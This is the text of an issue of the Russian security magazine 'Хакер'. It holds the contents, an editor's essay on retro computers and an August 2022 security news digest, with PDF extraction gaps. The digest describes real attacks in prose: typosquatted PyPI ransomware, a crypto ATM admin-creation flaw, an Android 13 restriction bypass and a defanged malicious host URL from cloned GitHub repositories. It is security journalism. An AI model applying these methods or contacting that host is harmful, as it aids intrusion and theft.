книги хакеры / журнал хакер / xa-281_Optimized

CONTENTS

Лето в стиле ретро

Заметки главреда, затерянного в пространстве и времени

MEGANews

Самые важные события в мире инфосека за август

Картошка-0

Повышаем привилегии в AD при помощи RemotePotato0

Суровая жаба

Изучаем защиту Excelsior JET для программ на Java

Анатомия эльфов 2

Разбираем устройство ELF-файлов в подробностях

Фундаментальные основы хакерства

Затрудняем анализ программ

Дальше в лес

Как работают атаки на доверенные отношения доменов и лесов AD

AEPIC Leak

Изучаем нашумевшую уязвимость в процессорах Intel

HTB Retired

Пишем эксплоит ROP + mprotect и используем переполнение буфера

HTB OverGraph

Извлекаем данные через цепочку Open Redirect, RXXS и CSTI

HTB Late

Эксплуатируем инъекцию шаблонов в сервисе обработки изображений

HTB Timelapse

Атакуем Windows Remote Management и работаем с сертификатами

Перехват VK

Как хакеры используют кликджекинг для деанонимизации

Винда на айфоне

Используем виртуалку UTM для установки Windows на iOS

Искусство пайки

Выбираем инструменты, приборы и расходники для домашней мастерской

Даня снова с нами!

Выясняем у Дани Шеповалова, где он пропадал 20 лет и при чем тут гуси

Дмитрий Артимович

о DDoS, scareware и изнанке жизни хакера

Титры

Кто делает этот журнал

Мы благодарим всех, кто поддерживает редакцию и помогает нам компенсировать авторам и редакторам их труд. Без вас «Хакер» не мог бы существовать, и каждый новый подписчик делает его чуть лучше.

Напоминаем, что дает годовая подписка:

год доступа ко всем материалам, уже опубликованным на Xakep.ru;

год доступа к новым статьям, которые выходят по будням;

полное отсутствие рекламы на сайте (при условии, что ты залогинишься); возможность скачивать выходящие

каждый месяц номера в PDF, чтобы читать на любом удобном устройстве;

личную скидку 20%, которую можно использовать для продления

годовой подписки. Скидка накапливается с каждым продлением.

Если по каким-то причинам у тебя еще нет подписки или она скоро кончится, спеши исправить это!

ЗАМЕТКИ ГЛАВРЕДА, ЗАТЕРЯННОГО В ПРОСТРАНСТВЕ И ВРЕМЕНИ

Паркую у сельпо тяжело груженный гигантским арбузом и бутылями с водой Yamaha Gear и, не слезая со скутера, достаю из рюкзака планшет. Пара минут,

изапись интервью улетает на расшифровку. Захожу в магаз за минералкой

иколбасой, снова завожу мотор и потихоньку еду домой. Приятный встречный ветерок позволяет не расплавиться в 35 градусов. По небу, грохоча, пролетает очередной Ми-24 с белой Z на боку.

Дома ставлю минералку на стол и рассматриваю этикетку: «Добрый доктор № 4», настолько желающий быть «Ессентуками», что местные так его обычно

иназывают. Ну да, ну да, о паленой таганрогской минералке писал еще Чехов.

Авокруг на столе — компьютеры! Современный Mac mini с M1, его винтажный собрат на Core Duo, iPad, пришлепанный к Magic Keyboard (о нем я уже

рассказывал), Raspberry Pi 3 в красивой коробочке, полуразобранный тауэр 486DX4, eMac на G3. И несколько старомодных «квадратных» мониторов, которые я за копейки прихватил на распродаже офисной техники.

Переехать в рандомное селение между Ростовом-на-Дону и Таганрогом стоило хотя бы ради того, чтобы было место для всех этих богатств. В той же комнате поместился телевизор с ЭЛТ — пятьдесят сантиметров диагонали и столько же килограммов массы. Под ним — первая PlayStation и стопка игр. Metal Gear Solid, Final Fantasy IX, Resident Evil 3, Dino Crisis.

Таковы дачные развлечения и дачная жизнь! Возможно, ты подметил ее недостаток: чтобы отправить большой файл, мне пришлось куда-то ехать. Дома он загружался бы много часов. И уж чего я только не делал, чтобы повысить скорость! Перебрал всех операторов, соорудил переносную мачту с антенной, обошел с ней участок и выставлял из чердачных окон. Иногда кажется, что вот они, стабильные 10 Мбит! Но через пару дней пойманная вышка перестает ловиться, будто исчезает бесследно.

486-й я пока так и не завел, eMac тоже ждет своей очереди, зато Mac mini 2006 года выпуска радует меня ежедневно.

Когда Spotify помахал нам всем ручкой, я не побежал на Яндекс Музыку. Мои условия просто идеальны, чтобы вспомнить дедовский метод. Берем пачку MP3 и по FTP шлем на старинный Mac mini, в который воткнуты колонки. Сложновато? Согласен! Но тешит глубинный инстинкт собирателя получше, чем стриминг.

iTunes 11 теперь смотрится как необычный артефакт ушедшей эпохи

За ночь я легко скачиваю новую серию «Лучше звоните Солу», но уже прикидываю, не прикупить ли в пару к телевизору такой же винтажный видак. А к нему — стопку кассет: «Бегущий по лезвию», «Робот-полицейский», «Терминатор», «Пятый элемент», — пусть в ужасной русской озвучке и криво подписанными наклейками... Впрочем, почему «пусть»? Так будет даже лучше!

Как видишь, я этим летом умудрился затеряться не только в пространстве. Почему не рвануть в нулевые, если душа того просит? Да и связь с цивилизацией через слабый сигнал далекой сотовой вышки — ни дать ни взять ADSL от «Стрима».

Теперь ты знаешь, в каких временами странных (и странных временных?) условиях делается «Хакер». Хотя бывали приключения и поэкзотичнее. Помнится, пять лет назад я ждал поезда из одной тайской провинции в другую и писал очередную статью, водрузив ноутбук на рюкзак. На экране — текст, вокруг — тропическая ночь и бездомные собаки.

Но о приключениях в Юго-Восточной Азии я расскажу как-нибудь в другой

раз. Пока же	пожелайте мне благополучно вернуться в цивилизацию —
к гигабитным	каналам, широким мониторам, службам доставки и воде
из фильтра.

Мария «Mifrill» Нефёдова nefedova@glc.ru

В этом месяце: вышла обновленная версия USB Rubber Ducky, эксперт взломал терминал Starlink с помощью самодельного мод-чипа, фишинговая операция 0ktapus затронула 130 компаний, из криптовалютных банкоматов воруют деньги, Роскомнадзор заблокировал Grammarly и Patreon, песня Джанет Джексон ломала HDD в старых ноутбуках, в PyPI нашли шифровальщика, созданного школьником, и другие интересные события последнего месяца лета.

ОБНОВЛЕННАЯ USB RUBBER DUCKY

На конференции DEF CON представили обновленную версию инструмента USB Rubber Ducky. Авторы рассказывают, что серьезно обновили DuckyScript (язык, который используется для создания команд), научили устройство определять, подключено ли оно к Windows-машине или Mac, генерировать псевдослучайные числа и так далее.

Оригинальная «уточка» появилась больше десяти лет назад, и за эти годы девайс не просто стал популярным, а даже успел засветиться в сериале «Мистер Робот». По сути, это устройство, которое выглядит как обычная флешка, эмулирует клавиатуру и при подключении к компьютеру набирает любые заданные в нем вредоносные команды.

В этом году создатель USB Rubber Ducky Даррен Китчен (Darren Kitchen) привез на DEF CON новую версию устройства, стоимость которого на сегодня составляет 59,99 доллара США. Все 500 девайсов были распроданы на конференции в первый же день.

USB Rubber Ducky и раньше могла создать фальшивое всплывающее окно в Windows (для сбора учетных данных пользователя) или вынудить Chrome отправить все сохраненные пароли на веб-сервер злоумышленника. Однако такие атаки тщательно разрабатывались для конкретных операционных систем

иверсий ПО. По мнению Китчена, им не хватало гибкости для работы на разных платформах.

Новейшая USB Rubber Ducky призвана преодолеть эти ограничения. Авторы серьезно поработали над языком DuckyScript, на котором создаются команды, используемые «уточкой» на машине жертвы. Если предыдущие версии в основном ограничивались вводом конкретных последовательностей нажатий клавиш, то DuckyScript 3.0 представляет собой многофункциональный язык, позволяющий пользователям писать функции, сохранять переменные

ииспользовать логические элементы управления потоком.

Фактически это означает, что обновленное устройство может запустить тест и определить, подключено оно к Windows-машине или Mac, а затем выполнить код, соответствующий определенной ОС (или отключиться, если подключено к неправильной цели). Также новая USB Rubber Ducky может генерировать псевдослучайные числа и добавлять переменную задержку между нажатиями клавиш, чтобы больше походить на человека.

Более того, теперь USB Rubber Ducky умеет передавать данные, собранные на целевой машине, переводя их в двоичный код и используя технику Keystroke Re ection, которая злоупотребляет сигналами, указывающими клавиатуре, когда должны загораться светодиоды Caps Lock, Num Lock и Scroll Lock.

Также Китчен отмечает, что теперь USB Rubber Ducky комплектуется пакетом для онлайн-разработки, где можно писать и компилировать пейлоады, а затем загружать их на устройство. Поделиться получившимися полезными нагрузками с сообществом можно прямо на специальном хабе, созданном для этих целей.

40 КРУПНЫХ УТЕЧЕК БАЗ ПЕРСОНАЛЬНЫХ ДАННЫХ

С начала 2022 года в России произошло более 40 крупных утечек баз персональных данных, сообщил замглавы Роскомнадзора Милош Вагнер на заседании общественного совета ведомства. Из-за этого скомпрометированы оказались свыше 300 миллионов записей.

Что с утечками дела все хуже и хуже, сообщают и аналитики группы компаний InfoWatch. По их данным, в первой половине 2022 года в сеть попало больше персональных данных, чем все

население России. Всего аналитикам удалось зафиксировать 2101 утечку (на 93,2% больше,

чем в прошлом году), из которых в России были обнаружены 305 (на 45,9% больше в сравнении с 2021 годом).

«ШУТОЧНЫЙ» ШИФРОВАЛЬЩИК В PYPI

Эксперты компании Sonatype обнаружили в репозитории PyPI сразу три вредоносных пакета (requesys, requesrs и requesr), которые занимаются тайпсквоттингом и подделываются под популярный пакет Requests. Все три пакета представляли собой шифровальщиков и, как оказалось, были созданы скучающим школьником.

Все версии пакета requesys (был скачан около 258 раз) содержали скрипты, которые сначала просматривали в Windows такие папки, как Documents, Downloads и Pictures, а затем начинали шифровать файлы. При этом версии 1.0–1.4 содержали код шифрования и дешифрования, представленный в виде открытого текста, а версия 1.5 уже демонстрировала обфусцированный Base64 исполняемый файл, что немного усложняло анализ.

Малварь использовала модуль Fernet из криптографической библиотеки для шифрования с симметричным ключом. Fernet также применялся для генерации случайного ключа шифрования, которым позже жертва расшифровывала данные.

Если все проходило успешно и шифровальщик запускался в системе жертвы, пострадавший пользователь видел всплывающее сообщение с инструкциями: ему предлагалось через Discord связаться с автором пакета b8 , также известным под ником OHR (Only Hope Remains).

Исследователи говорят, что попасть на Discord-сервер хакера мог любой желающий. Там они обнаружили канал #ransomware-noti cations, который содержал список имен пользователей для пятнадцати жертв, которые установили и запустили вредоносный пакет из PyPI. Автоматически сгенерированные сообщения также демонстрировали ключи дешифрования, которые жертвы могли использовать для расшифровки своих файлов, заблокированных requesys.

Как уже было упомянуто, версия 1.5 была чуть сложнее, имела обфускацию и поставлялась в виде 64-битного исполняемого файла Windows. Но в целом этот EXE действовал так же, как малварь прошлых версий, то есть генерировал ключ шифрования-дешифрования, загружал копию ключа в Discord автора, шифровал файлы и побуждал жертв перейти в канал для спасения данных.

Аналитикам без особого труда удалось вычислить автора этого незамысловатого вредоноса: OHR (Only Hope Remains), или b8 , опубликовал код эксплоита на GitHub (с пометкой, что автор не несет ответственности в случае неправомерного использования) и, не скрываясь, использовал этот же ник в PyPI, Discord, GitHub и на других сайтах. Оказалось, что у OHR есть даже канал на YouTube с довольно безобидными туториалами по взлому (теперь удалены).

Однако тайпсквоттерские пакеты не содержали никакого отказа от ответственности, то есть в их случае не было никаких заявлений и уведомлений

отом, что пакеты опубликованы в рамках этичного исследования, и OHR не пытался удержать людей от заражения своих ПК. Напротив, сразу после установки пакеты запускали вредоносные скрипты и начинали шифрование.

Исследователи решили связаться с автором шифровальщиков и узнать

оего мотивах. B8 легко пошел на контакт и сообщил Sonatype, что вымогательский скрипт в этих пакетах полностью опенсорсный и был частью проекта, который создавался «шутки ради». Хотя пакеты действительно шифровали пользовательские данные, автор заявил, что технически они безвредны.

««Технически это вымогатель без выкупа, — сказал b8ff, имея в виду, что не требует денег после шифрования. — Все ключи дешифрования

â Discord». »

B8 рассказал, что он из Италии, и описал себя как школьника, который пока просто учится разработке и лишь недавно заинтересовался эксплоитами.

««Я был удивлен, когда понял, как легко создать такой эксплоит и насколько это интересно. Я еще учусь в школе и на данный момент знаю » Python, Lua, HTML, немного CPP и все», — признается b8ff.

Эксперты уведомили о своей находке PyPI, но получили ответ далеко не сразу. Зато после общения со специалистами b8 сам помог предотвратить дальнейшие атаки и переименовал пакет requesys, чтобы разработчики, опечатавшиеся в названии requests, случайно не загружали программу-вымогатель. Два других пакета и вовсе были удалены из PyPI (правда, неясно, самим автором добровольно или администраторами PyPI).

46 МИЛЛИОНОВ ЗАПРОСОВ В СЕКУНДУ

В июне 2022 года неназванный клиент Google Cloud Armor подвергся DDoS-атаке по протоколу HT TPS, которая достигла мощности 46 миллионов запросов в секунду (requests per second, RPS). На текущий момент это самая масштабная DDoS-атака такого типа в истории. В общей сложности DDoS длился 69 мин.

Исследователи считают, что за атакой стоял ботнет Mēris, уже известный по другим громким инцидентам. К примеру, осенью прошлого года он атаковал компанию «Яндекс», на тот момент установив рекорд по мощности DDoS-атак: 21,8 миллиона RPS.

ПЕСНЯ ДЖАНЕТ ДЖЕКСОН ЛОМАЛА

HDD

Специалист Microsoft Рэймонд Чен (Raymond Chen) поделился интересной историей времен Windows XP. По его словам, музыкальный клип на песню Джанет Джексон Rhythm Nation негативно влиял на некоторые жесткие диски со скоростью вращения 5400 об/мин, вызывая сбои в их работе.

««Один коллега поделился со мной историей о поддержке продукта на Windows XP. [Тогда] крупный производитель компьютеров обна-

ружил, что воспроизведение музыкального клипа Джанет Джексон

Rhythm Nation приводит к сбою в работе некоторых моделей ноутбуков, — рассказывает Чен. — Не хотел бы я оказаться в лаборатории, » которую они, наверное, создали для изучения этой проблемы».

Как выяснили инженеры неназванного производителя, воспроизведение музыкального видео негативно сказывалось не только на той машине, где проигрывался клип. Сбои возникали даже на ноутбуках конкурентов, которые попросту стояли рядом.

Оказалось, разгадка проста: виновником этих сбоев был обычный резонанс, который композиция Rhythm Nation вызывала у жестких дисков со скоростью вращения 5400 об/мин (такие модели тогда использовали многие производители).

Если кому-то все еще кажется, что рассказ Чена звучит как забавная и не слишком правдоподобная байка, отмечу, что все официально: музыкальное видео Rhythm Nation действительно признано проблемой безопасности,

итеперь MITRE присвоила ей идентификатор CVE-2022-38392, хотя клип вряд ли может представлять угрозу для современного оборудования.

Впрошлом от бага избавились весьма радикальным методом. По словам Чена, производители создали «специальный фильтр, который обнаруживал

иудалял нежелательные частоты во время воспроизведения звука», чтобы избежать возникновения резонанса.

««Я уверен, что они повесили на этот аудиофильтр цифровую версию наклейки „Не удалять!“. Хотя боюсь, что за годы, прошедшие с момента

внедрения этой хитрости, все уже забыли, для чего она нужна. Наде-

юсь, теперь их ноутбуки уже не содержат этот аудиофильтр, необходимый для защиты от повреждений жесткого диска, который они » больше не используют», — иронизирует Чен.

ДУРОВ СНОВА КРИТИКУЕТ APPLE

Павел Дуров в очередной раз выступил с критикой в адрес компании Apple. На этот раз недовольство главы Telegram вызвала задержка обновления мессенджера. В своем Telegramканале Дуров пишет, что команда мессенджера подготовила для пользователей iOS некое революционное обновление, однако оно «застряло на „рассмотрении“ в Apple на две недели, без объяснения причин и какого-либо фидбэка со стороны Apple».

→ «Нас удручает, что зачастую мы не можем распространить новые версии Telegram из-за непонятного „процесса рассмотрения“, навязанного всем мобильным приложениям технологическими монополистами.

Если Telegram, одно из десяти самых популярных приложений в мире, получает такое отношение, можно только догадываться о том, с какими трудностями сталкиваются более мелкие разработчики. Это не просто деморализует: это наносит прямой финансовый ущерб сотням тысяч мобильных приложений по всему миру.

Ущерб [наносимый разработчикам] дополняет 30%-й налог, который Apple и Google берут с разработчиков приложений и который, по их словам, должен пойти на оплату ресурсов, необходимых для рассмотрения приложений. Регулирующие органы ЕС и других стран постепенно начинают обращать внимание на эти злоупотребления. Однако экономический ущерб, который Apple уже нанесла технологической отрасли, не исправить»

— Павел Дуров

РКН ЗАБЛОКИРОВАЛ

GRAMMARLY

И PATREON

В этом месяце реестр запрещенных сайтов пополнила платформа Patreon, где авторы творческих произведений могут распространять свои работы по платной подписке и предоставлять подписчикам дополнительный контент. Также блокировка коснулась онлайн-платформы Grammarly, созданной для помощи при общении на английском языке (анализирует англоязычный текст и предлагает корректировки для устранения ошибок, тона сообщения и так далее).

Как сообщила «Роскомсвобода», Patreon заблокировали из-за заявления редакции журнала Doxa, которое было опубликовано на сайте еще 25 февраля 2022 года (в нем журналисты осуждали специальную военную операцию на территории Украины). Так как блокируют по HTTPS, недоступен оказался весь сайт.

Блокировка Grammarly, судя по всему, тоже связана с официальным заявлением представителей сервиса, где сообщалось, что он приостанавливает работу на территории РФ и Беларуси (также из-за специальной военной операции).

СМИ пишут, что, по данным Роскомнадзора, доступ к ресурсам ограничен «в соответствии с регламентом блокировки сайтов, содержащих призывы к массовым беспорядкам, экстремизму, участию в незаконных массовых акциях», а основанием для этого стала ст. 15.3 закона «Об информации», касающаяся в том числе материалов, распространяющих недостоверную общественно значимую информацию под видом достоверных сообщений.

ЖЕРТВЫ РЕЖЕ ПЛАТЯТ ВЫМОГАТЕЛЯМ

Согласно статистике компании Coveware, суммы выкупов, выплаченных операторам вымогательской малвари, сокращаются с последнего квартала 2021 года. Так, во втором квар-

тале 2022 года средний размер выкупа составил 228 125 долларов (на 8% больше, чем в первом квартале 2022 года). Однако медианный размер выкупа равнялся лишь 36 360 долларам, что на 51% меньше, чем в предыдущем квартале.

Тенденция к снижению наметилась еще в конце прошлого года, когда наблюдался пик платежей операторам вымогателей как в среднем (332 168 долларов США), так и в медианном (117 116 долларов США) значении.

Размеры платежей

Дело в том, что операторы и разработчики RaaS все чаще предпочитают атаковать средние по размеру компании и организации, так как это несет меньше рисков.

Средний размер компании-жертвы снизился еще больше, поскольку хакеры теперь ищут более мелкие, но финансово здоровые организации.

Список наиболее активных во втором квартале групп вымогателей возглавила группировка BlackCat (она же ALPHV), на долю которой пришлось 16,9% всех известных атак. За ней следует LockBit, на долю которой приходится 13,1% инцидентов.

Продолжение статьи →

ОБХОД ЗАЩИТЫ В ANDROID 13

Разработчики малвари для Android уже научились обходить новую защитную функцию Restricted setting, представленную Google в Android 13.

В августе компания Google выпустила Android 13: новая версия ОС была развернута на устройствах Google Pixel, а исходный код опубликован на AOSP. В этом релизе разработчики постарались обезвредить малварь, которая получала мощные разрешения, такие как Accessibility Service, а затем

вфоновом режиме применяла их для скрытного вредоносного поведения. К сожалению, эксперты ThreatFabric сообщили, что разработчики малвари уже занимаются новыми дропперами, которые способны обойти эти ограничения.

Эксплуатация службы специальных возможностей Google Accessibility Service — это классическое поведение для мобильной малвари. Служба была создана, чтобы облегчить использование приложений людям с ограниченными возможностями, но злоумышленники приспособили ее для взаимодействия с интерфейсом системы и приложениями.

ВAndroid 13 инженеры Google представили функцию Restricted setting («Ограниченные настройки»), которая не позволяет сторонним приложениям запрашивать привилегии службы специальных возможностей, ограничивая эту функцию только APK-файлами из Google Play. Как сообщают исследователи, им самим удалось без труда создать PoC-дроппер, который обходит новую защиту и получает доступ к Accessibility Services.

Все началось с того, что эксперты обнаружили новый дроппер для Android, который уже умеет обходить ограничения Restricted setting. Дроппер был обнаружен во время наблюдения за кампаниями малвари Xenomorph и получил название BugDrop (из-за множества багов, которые мешали его работе на ранних этапах).

Оказалось, что код BugDrop практически аналогичен коду Brox — проекта, предназначенного для обучения разработке малвари, который свободно циркулирует на хакерских форумах. Эксперты говорят, что в BugDrop их внимание привлекло наличие Smali-строки, которой нет в исходном коде Brox: com.example.android.apis.content.SESSION_API_PACKAGE_INSTALLED.

Дело в том, что у приложений для Android есть два способа установки других приложений. Первый и наиболее распространенный — это установка без сеанса, который, по сути, представляет собой передачу установки одного APK-файла установщику системного пакета.

Второй метод на основе сеансов позволяет приложениям выполнять установку одного или нескольких APK-файлов одновременно. Этот метод обычно используется приложениями в Play Store и позволяет устанавливать несколько APK-файлов за раз, при этом приложения распространяются в виде одного «базового» APK и нескольких «разделенных» APK.

Фактически исследователи обнаружили, что BugDrop стремится использовать именно второй метод установки (на основе сеансов, как это происходит

вслучае Play Store), а значит, ограничения к таким приложениям не применяются.

««Эта небольшая модификация позволит полностью обойти новые меры безопасности Google еще до того, как они окончательно вступят » в силу», — говорят исследователи из ThreatFabric.

Пока BugDrop все еще находится в разработке, и аналитики связывают его с хакерской группой Hakoden, которая стоит за созданием дроппера Gymdrop и упомянутого банкера Xenomorph.

Когда BugDrop будет окончательно готов к массовому развертыванию, скорее всего, его применят в кампаниях для распространения Xenomorph, атакуя устройства даже с новейшими версиями Android на борту. Хуже того, последние образцы Xenomorph, изученные ThreatFabric, содержали модули удаленного доступа, что делает эту малварь еще более опасной.

ТОРВАЛЬДС ДОБРАЛСЯ ДО ARM

Несколько лет назад Линус Торвальдс заявлял, что долго ждал ноутбука на ARM, который сможет работать под Linux, но после выхода устройств Apple на чипе M1 не захотел возиться с ними и «бороться с компаниями, которые не настроены помогать». Теперь же Торвальдс сообщил, что использует Asahi Linux на MacBook Air с процессором M2. Этот дистрибутив строится на реверс-инжиниринге аппаратного обеспечения Apple, и основная цель команды Asahi — внести все свои наработки в основное ядро Linux, чтобы прочие дистрибутивы тоже

могли этим воспользоваться.

→

— Линус Торвальдс

ОГРАБЛЕНИЯ

КРИПТОВАЛЮТНЫХ

БАНКОМАТОВ

В криптовалютных банкоматах General Bytes обнаружили уязвимость нулевого дня, которую злоумышленники тут же использовали для кражи средств. Когда пользователи вносили или покупали криптовалюту через банкомат, деньги получали хакеры.

Чешская компания General Bytes владеет и управляет 8827 криптовалютными банкоматами, которые доступны более чем в 120 странах мира. Эти устройства позволяют покупать и продавать более 40 различных криптовалют и контролируются удаленным CAS-сервером (Crypto Application Server), который управляет работой банкомата, проводит операции с поддерживаемыми криптовалютами, а также выполняет покупку и продажу на биржах.

Согласно бюллетеню безопасности General Bytes, опубликованному 18 августа 2022 года, атаки на банкоматы проводились с использованием 0-day-уязвимости в CAS-сервере компании.

««Злоумышленник мог удаленно создать пользователя администратора через административный интерфейс CAS (посредством вызова URL-

адреса на странице, которая используется для установки по умолчанию и создания первого пользователя администратора), — гласит отчет. — » Эта уязвимость присутствует в CAS, начиная с версии 20201208».

Специалисты General Bytes полагают, что злоумышленники сканировали интернет в поисках серверов с открытыми TCP-портами 7777 или 443, включая серверы, размещенные в Digital Ocean и собственном облачном сервисе

General Bytes.

Затем хакеры использовали уязвимость, чтобы добавить в систему дефолтного пользователя-администратора с именем gb и изменить настройки для покупки и продажи криптовалюты, а также настройку invalid payment address («Недействительный платежный адрес»), внедрив в систему адрес своего кошелька. В итоге любая криптовалюта, полученная CAS, попадала в руки хакеров.

Представители General Bytes предупредили клиентов, что нельзя использовать криптовалютные банкоматы, пока на них не будут установлены патчи 20220531.38 и 20220725.22. Также компания опубликовала подробный список действий, которые необходимо выполнить на устройствах, прежде чем те снова будут введены в эксплуатацию. В числе прочего рекомендуется изменить настройки брандмауэра, чтобы доступ к интерфейсу администратора CAS был возможен только с авторизованных IP-адресов.

При этом из сообщения компании неясно, сколько серверов было скомпрометировано и сколько именно криптовалюты украли у пользователей.

ИМИТАЦИЯ SKYPE, ADOBE READER И VLC PLAYER

Аналитики VirusTotal изучили методы, которые операторы малвари используют для обхода защиты и повышения эффективности социальной инженерии. Исследование показало, что зло-

умышленники все чаще имитируют такие легитимные приложения, как Skyp , A o			R	r
и VLC Pl	y r, чтобы завоевать доверие жертв.
Также хакеры маскируют		свои программы под 7-Z p, T mV w r, CCl n r, M	roso t
E , St	m, Zoom и W	tsApp.

В общей сложности эксперты обнаружили не менее 2,5 миллиона подозрительных файлов, загруженных через 101 домен, входящий в список 1000 лучших сайтов по версии Alexa.

АТАКА КЛОНОВ НА GITHUB

Разработчик Стивен Лейси (Stephen Lacy) взбудоражил ИБ-сообщество, заявив в Twitter, что обнаружил «масштабную атаку вредоносного ПО» на GitHub, затронувшую около 35 тысяч репозиториев. Однако оказалось, что речь шла не о компрометации или взломе: обнаруженные репозитории оказались форками (копиями) других проектов, созданными специально для распространения малвари.

Исходный твит Лейси не на шутку встревожил сообщество, ведь исследователь заявлял, что обнаружил заражение малварью 35 тысяч репозиториев

иатака затронула такие известные проекты, как Crypto, Golang, Python, JS, Bash, Docker и K8s. К сожалению, многие не читали дальше первого сообщения, а в последующем треде Лейси объяснил, что выразился не совсем корректно.

Хотя создание форков — обычная практика и даже поощряется среди разработчиков, в этом случае злоумышленники создавали копии чужих проектов

изаражали их вредоносным кодом, чтобы атаковать ничего не подозревающих разработчиков через эти вредоносные клоны.

Все началось с того, что Лейси изучал некий опенсорсный проект, «найденный через Google», и заметил в коде следующий URL-адрес: hxxp://ovz1.j19544519.pr46m.vps.myjino[.]ru. Как оказалось, поиск на GitHub

обнаруживает этот URL-адрес более чем в 35 тысячах файлов в самых разных репозиториях.

При этом СМИ сообщили, что это число отражает именно количество подозрительных файлов, а не зараженных репозиториев, так что первичная оценка Лейси была не совсем верна. Так, из 35 788 результатов поиска более 13 тысяч результатов были получены всего из одного репозитория — redhat-operator-ecosystem.

После сообщения Лейси многие эксперты стали разбираться, что именно тот обнаружил. К примеру, Джеймс Такер (James Tucker) выяснил, что клонированные репозитории, содержащие вредоносный URL-адрес, извлекали переменные среды пользователя, а также оснащались однострочным бэкдором. Таким образом, хакеры могли не только похитить важные секреты, в том числе ключи API, токены, учетные данные от Amazon AWS и криптографические ключи, но и выполнить произвольный код в зараженных системах.

Также дальнейший анализ показал, что подавляющее большинство репози- ториев-клонов появились в течение последнего месяца (от шести до двадцати дней назад), однако некоторые репозитории с вредоносными коммитами были датированы далеким 2015 годом, то есть, вероятно, были взломаны.

При этом наиболее свежие коммиты, содержащие вредоносный URLадрес, вообще исходили от защитников, в том числе от аналитика угроз Флориана Рота (Florian Roth), который создал правила Sigma для обнаружения вредоносного кода. К сожалению, не все разобрались в происходящем, и некоторые пользователи GitHub начали ошибочно жаловаться на репозиторий Sigma, считая вредоносным и его.

По данным Лейси и журналистов, в итоге администрация GitHub удалила практически все вредоносные репозитории-клоны со своей платформы.

В 2022 ГОДУ ОТ ФИШИНГОВЫХ АТАК МЕНЬШЕ ВСЕГО ПОСТРАДАЛИ ПОЛЬЗОВАТЕЛИ СТАРШЕ 55 ЛЕТ

Интересную статистику представили аналитики ВТБ: пенсионеры оказались наименее подвержены фишинговым атакам. По статистике банка, в 2022 году самыми устойчивыми к фишинговым атакам стали люди старше 55 лет: среди пользователей, попавшихся на уловки злоумышленников и переходивших по вредоносным ссылкам, лишь 20% людей этого возраста. Как выяснилось, чаще других на удочку фишеров попадались люди 35–44 лет (32%) и 45– 54 лет (25%).

Исследователи объясняют, что в последнее время внимание злоумышленников все чаще прив-

лекает наиболее активная возрастная группа клиентов 30–40 лет, которая больше пользуется цифровыми сервисами, в том числе для финансовых операций.

STARLINK ВЗЛОМАЛИ С ПОМОЩЬЮ МОДЧИПА

Известный ИБ-эксперт из Лёвенского католического университета Леннерт Воутерс (Lennert Wouters), ранее обнаруживший баг, который позволял угнать Tesla за пару минут, рассказал, что на этот раз ему удалось скомпрометировать терминал Starlink с помощью мод-чипа стоимостью 25 долларов. На конференции Black Hat 2022 Воутерс объявил, что намерен сделать этот инструмент доступным для копирования.

С 2018 года компания Илона Маска запустила на орбиту больше 3000 спутников Starlink. Эта спутниковая сеть призвана обеспечивать подключение к интернету в самых труднодоступных местах на Земле, где раньше подключение было ненадежным, дорогим или полностью недоступным. На орбиту планируют вывести еще тысячи спутников, и Starlink, как и любая другая новая технология, не мог не заинтересовать хакеров и исследователей.

Система Starlink состоит из трех основных частей. Первая — это сами спутники, которые движутся по околоземной орбите на высоте около 550 км и передают сигналы на поверхность. Спутники взаимодействуют с двумя системами на Земле: шлюзами, которые отправляют интернет-соединения на спутники, и тарелками Dishy McFlatface, которые могут приобрести пользователи. Исследование Воутерса сосредоточено именно вокруг пользовательских терминалов.

Леннерт Воутерс рассказал об одном из первых взломов терминала Starlink, спутниковой антенны Dishy McFlatface, которые обычно располагают на зданиях. Чтобы получить доступ к прошивке тарелки, Воутерс разобрал купленный им терминал и сам разработал специальный инструмент для его взлома.

Эту роль взяла на себя кастомная плата (мод-чип), собранная из готовых деталей, общая стоимость которых составила примерно 25 долларов. После подключения к тарелке Starlink плата используется для атаки типа fault injection («внедрение сбоев»), временно замыкая систему, чтобы обойти защитные механизмы Starlink. В итоге этот «глюк» позволил Воутерсу добраться до ранее заблокированных частей системы терминала.

Для создания мод-чипа Воутерс отсканировал тарелку Starlink и создал плату, подходящую к плате Starlink. Его мод-чип необходимо припаять к плате Starlink и подключить с помощью нескольких проводов.

Сам мод-чип состоит из микроконтроллера Raspberry Pi, флеш-памяти, электронных переключателей и регулятора напряжения. При создании платы для пользовательского терминала инженеры Starlink напечатали на ней надпись «Сделано людьми на Земле» (Made on Earth by humans). На мод-чипе Воутерса написано: «Сломано людьми на Земле» (Glitched on Earth by humans).

Более того, исследователь решил сделать свой инструмент опенсорсным, опубликовав свои наработки на GitHub, включая некоторые детали, необходимые для запуска атаки.

««Допустим, вы злоумышленники и хотите атаковать сам спутник, — пишет эксперт. — Вы можете попытаться создать собственную систему,

которая позволит общаться со спутником, однако это довольно сложно. Поэтому, если вы хотите атаковать спутники, лучше зайти со стороны » пользовательского терминала, ведь это, вероятно, облегчит вам жизнь».

Энтузиасты уже давно изучают пользовательские терминалы Starlink: их неоднократно разбирали, обсуждали их устройство на Reddit, однако Воутерс стал первым, кто обратил внимание на безопасность терминала и его чипов. Он рассказывает, что прошел через несколько этапов и перебрал немало разных подходов, прежде чем создал свой опенсорсный мод-чип.

Воутерс тестировал систему Starlink с мая 2021 года, добившись скорости загрузки 268 Мбит/с и скорости скачивания 49 Мбит/с с крыши здания своего университета. После этого он принял решение разобрать устройство. Используя комбинацию из «промышленного фена, инструментов, изопропилового спирта и моря терпения», он смог снять с тарелки крышку и получил доступ к ее внутренним компонентам. В итоге это помогло понять, как устройство загружается и скачивает прошивки.

В целом атака Воутерса обходит проверки безопасности и проверки подписи, которые нужны, чтобы убедиться, что система запускается правильно и код не был подделан. «Мы используем это, чтобы точно рассчитать время внедрения сбоя», — объясняет Воутерс.

Так, когда тарелка Starlink включается, загрузчик проходит через несколько этапов. Атака Воутерса провоцирует сбой в первом бутлоадере, загрузчике ПЗУ, который прошит в SoC и не может быть обновлен. После этого появляется возможность развернуть кастомную прошивку и получить контроль над терминалом.

Продолжение статьи →

Исследователь уведомил Starlink о найденных уязвимостях еще в прошлом году, и компания выплатила ему вознаграждение по программе bug bounty. Разработчики Starlink даже предложили Воутерсу доступ к программному обеспечению устройства для дальнейших изысканий, однако тот отказался, так как уже углубился в работу и хотел закончить создание мод-чипа.

